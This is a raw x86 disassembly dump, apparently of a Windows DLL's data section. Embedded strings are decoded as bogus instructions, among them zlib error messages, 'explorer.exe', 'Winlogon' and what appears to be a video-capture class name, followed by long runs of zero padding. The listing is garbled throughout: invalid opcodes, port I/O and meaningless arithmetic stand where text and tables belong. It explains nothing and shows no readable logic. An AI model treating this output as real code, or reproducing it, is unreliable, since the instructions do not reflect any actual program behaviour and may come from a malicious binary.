insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
pop esp
push ebp
push ebp
push eax
push eax
and byte [0x77000064], ah
invalid
imul ebp, dword [esi + 0x73], 0x306174
jae 0x10018b45
popal
xor byte [eax], al
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
add byte [eax], al
js 0x10018b4f
jo 0x10018b4c
insb byte es:[edi], dx
outsd dx, dword [esi]
jb 0x10018b48
jb 0x10018b13
js 0x10018b4d
add byte [eax], al
add byte [eax], al
push edi
imul ebp, dword [esi + 0x6c], 0x6e6f676f
outsb dx, byte [esi]
insb byte es:[edi], dx
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
inc ebx
push esi
imul esp, dword [ebp + 0x6f], 0x706143
add byte [eax], al
and esi, dword [ebx]
xor dh, byte [edi]
aaa
xor byte [eax], al
add byte [ecx], dh
xor dword [esi], ebp
xor dword [esi], ebp
xor al, 0
add byte [eax], al
outsb dx, byte [esi]
and byte fs:[ecx + ebp*2 + 0x63], ah
add byte [esi + 0x65], ch
outsb dx, byte [esi]
and byte fs:[ecx + ebp*2 + 0x63], ah
je 0x10018b87
outsd dx, dword [esi]
outsb dx, byte [esi]
popal
jb 0x10018b9c
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
arpl word [eax + 0x64], si
popal
je 0x10018b93
and byte [ebx + 0x68], ah
arpl word gs:[ebx], bp
add byte [eax], al
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
arpl word [eax + 0x68], si
popal
and byte [eax + 0x65], ch
popal
jb 0x10018b6d
and byte [ebx + 0x68], ah
arpl word [eax + 0x65], bp
arpl word [ebx], bp
arpl word gs:[ebx], bp
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x10018bb9
insb byte es:[edi], dx
imul esp, dword [eax + 0x77], 0x6f646e69
ja 0x10018b83
jae 0x10018bce
jp 0x10018bcc
add byte [ebp + 0x6e], dh
jne 0x10018bd8
imul ebp, dword [esi + 0x6f], 0x77
outsb dx, byte [esi]
ja 0x10018bdd
and byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x10018be7
jae 0x10018beb
imul ebp, dword [edi + 0x6e], 0x74656d20
push 0x646f
or al, 0x8b
add byte [ebx + ecx*4], cl
add dword [eax], edx
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [edx + 0x69], ah
je 0x10018bb4
adc byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x10018bed
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6c207469
bound ebp, qword [ecx + 0x74]
and byte [ebp + 0x6e], ch
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x10018c02
and byte [edx + 0x65], dh
jo 0x10018c04
jo 0x10018c04
popal
je 0x10018ba2
add byte [eax], al
je 0x10018c15
outsd dx, dword [esi]
and byte [ebp + 0x61], ch
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
jns 0x10018bcd
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x10018c1b
and byte [edi + 0x72], ch
and byte [ecx + ebp*2 + 0x73], ah
je 0x10018c1d
outsd dx, dword [esi]
jb 0x10018bd7
imul esi, dword fs:[ebx + 0x74], 0x65636e61
and byte [ebx + 0x79], dh
jae 0x10018c2f
popal
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
jae 0x10018c3b
insd dword es:[edi], dx
bound ebp, qword [edi + 0x6c]
outsd dx, dword [esi]
insb byte es:[edi], dx
jae str.invalid_stored_block_lengths
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ebx + 0x74], dh
insb byte es:[edi], dx
imul esp, dword [eax + 0x73], 0x65726f74
and byte fs:[ebx + 0x74], dh
outsd dx, dword [esi]
jb 0x10018c3a
and byte fs:[edx + 0x6c], ah
outsd dx, dword [esi]
arpl word [ebx + 0x20], bp
bound ebp, qword [edi + ebp*2 + 0x63]
imul esp, dword [eax], 0x6c
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x10018c4b
jae 0x10018be5
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x10018c4d
popal
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6b636f6c
and byte [ecx + edi*2 + 0x70], dh
add byte gs:[eax], al
adc al, 0x8b
add dword [eax], edx
mov byte [ecx + eax + 0x1a27810], cl
adc byte [esp + ecx*4 + 1], bh
adc byte [esp + ecx*4 + 1], ch
add dword [eax], edx
js 0x10018ba8
add dword [eax], edx
jl 0x10018b96
add dword [eax], edx
insb byte es:[edi], dx
mov word [ecx], es
adc byte [eax - 0x74], ah
add dword [eax], edx
dec esp
mov word [ecx], es
adc byte [esp + ecx*4], bh
add dword [eax], edx
and al, 0x8c
adc byte [esp + ecx*4], ah
mov word [ecx], es
adc byte [eax - 0x5e], bh
add dword [eax], edx
js 0x10018bc4
add dword [eax], edx
imul ebp, dword [esi + 0x63], 0x61706d6f
je 0x10018c96
bound ebp, qword [ebp + 0x20]
jbe 0x10018c98
and byte gs:[esi + 0x65], dh
jb 0x10018ca8
imul ebp, dword [edi + 0x6e], 0
add byte [eax], al
add byte [edx + 0x75], ah
bound esi, qword [ebp + 0x66]
jb 0x10018c63
bound esi, qword [ebp + 0x66]
jb 0x10018c63
jb 0x10018cb8
outsd dx, dword [esi]
jb 0x10018c49
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
jae 0x10018cc5
imul sp, word [ebx + 0x69], 0x6e65
je 0x10018c79
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
jb 0x10018cd8
add byte [ecx + 0x74], ah
popal
invalid
popal
and byte [ebp + 0x72], ah
jb 0x10018cd8
jb 0x10018c6b
add byte [ebx + 0x74], dh
jae 0x10018ce2
jb 0x10018cd5
popal
insd dword es:[edi], dx
and byte [ebp + 0x72], ah
jb 0x10018ce6
jb 0x10018c79
add byte [eax], al
add byte [esi + 0x69], ah
imul bp, word [ebp + 0x20], 0x7265
jb str.invalid_literal_length_code
jb 0x10018c87
add byte [ebx + 0x74], dh
jae 0x10018cfe
jb 0x10018cf1
popal
insd dword es:[edi], dx
and byte [ebp + 0x6e], ah
add byte fs:[eax], al
add byte [eax], al
add byte [eax], al
sbb byte [eax + 1], cl
adc ah, cl
inc esi
add dword [eax], edx
add dword [ecx], eax
add byte [eax], al
push ds
add dword [eax], eax
add byte [edi], cl
add byte [eax], al
sldt word [eax]
add byte [eax], al
add byte [eax], al
add byte [eax + 0x4010014c], bl
inc edi
add dword [eax], edx
add byte [eax], al
add byte [eax], al
push ds
add byte [eax], al
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x100147], bh
add byte [eax], al
add byte [ebx], dl
add byte [eax], al
add byte [edi], al
pop es
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x10018d41
insb byte es:[edi], dx
imul esp, dword [eax + 0x64], 0x61747369
jae 0x10018d5c
popal
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
arpl word [edi + 0x64], bp
add byte gs:[eax], al
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x10018d59
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ecx + ebp*2 + 0x74], ch
jb 0x10018d63
insb byte es:[edi], dx
imul esp, dword [eax + 0x6c], 0x72657469
popal
insb byte es:[edi], dx
das
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x10018d72
and byte [ebx + 0x6f], ah
add byte gs:[ecx], cl
add byte [eax], al
add byte [0x60000000], al
pop es
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push eax
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [eax + ecx], dl
add byte [ebx], dh
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 0
add byte [eax + 7], dl
pop es
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pushal
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], ah
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], ah
add byte [eax], ah
add byte [eax], al
add byte [eax], cl
add byte [eax], al
and byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov al, byte [pe_dos_header]
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
loopne 0x10018d96
add byte [eax], al
push eax
pop es
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
nop
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
cmp eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
js 0x10018dc6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 1
add byte [eax], al
push ecx
pop es
add byte [eax], al
adc dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
or byte [eax], al
add byte [eax], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], dh
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], cl
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
lock add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], dl
add byte [eax], al
push ebp
or byte [eax], al
add bl, ah
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
sub eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
je 0x10018e46
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
enter 0, 0
push ecx
pop es
add byte [eax], al
or eax, 0
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
test al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
test byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
inc esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, ch
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], bl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cwde
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jl 0x10018ec6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
fadd dword [eax]
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ss
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov eax, 0
or byte [eax], al
add byte [eax + eax], cl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov word [eax], es
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, bh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push edx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
mov dword [0x53000000], eax
pop es
add byte [eax], al
and eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jb 0x10018f46
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
les eax, [eax]
add byte [eax], al
push ecx
pop es
add byte [eax], al
or eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
bound eax, qword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
and al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
movsb byte es:[edi], byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, 0
add byte [eax], al
push eax
pop es
add byte [eax], al
pop es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
xchg esp, eax
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jp 0x10018fc6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
aam 0
add byte [eax], al
push edx
pop es
add byte [eax], al
adc eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sub al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov ah, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec edx
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add ah, dh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, 0
or byte [eax], al
add byte [esi], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ss
add byte [eax], al
add al, al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
xor eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jbe 0x10019046
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ss:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, cl
add byte [eax], al
add byte [ecx + 7], dl
add byte [eax], al
sldt word [eax]
add byte [eax], al
or byte [eax], al
add byte [esi], ah
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte es:[eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], ch
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], al
or byte [eax], al
add byte [esi], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, dx
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esi
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], bl
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x7540000], bl
add byte [eax], al
arpl word [eax], ax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jle 0x100190c6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ds:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, bl
add byte [eax], al
add byte [edx + 7], dl
add byte [eax], al
sbb eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], bh
add byte [eax], al
push cs
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], cl
or byte [eax], al
add byte [esi], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cld
add byte [eax], al
add byte [eax + 7], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ecx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
add dword [eax], 0
add byte [edx + 7], dl
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor dword [eax], eax
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
ret 0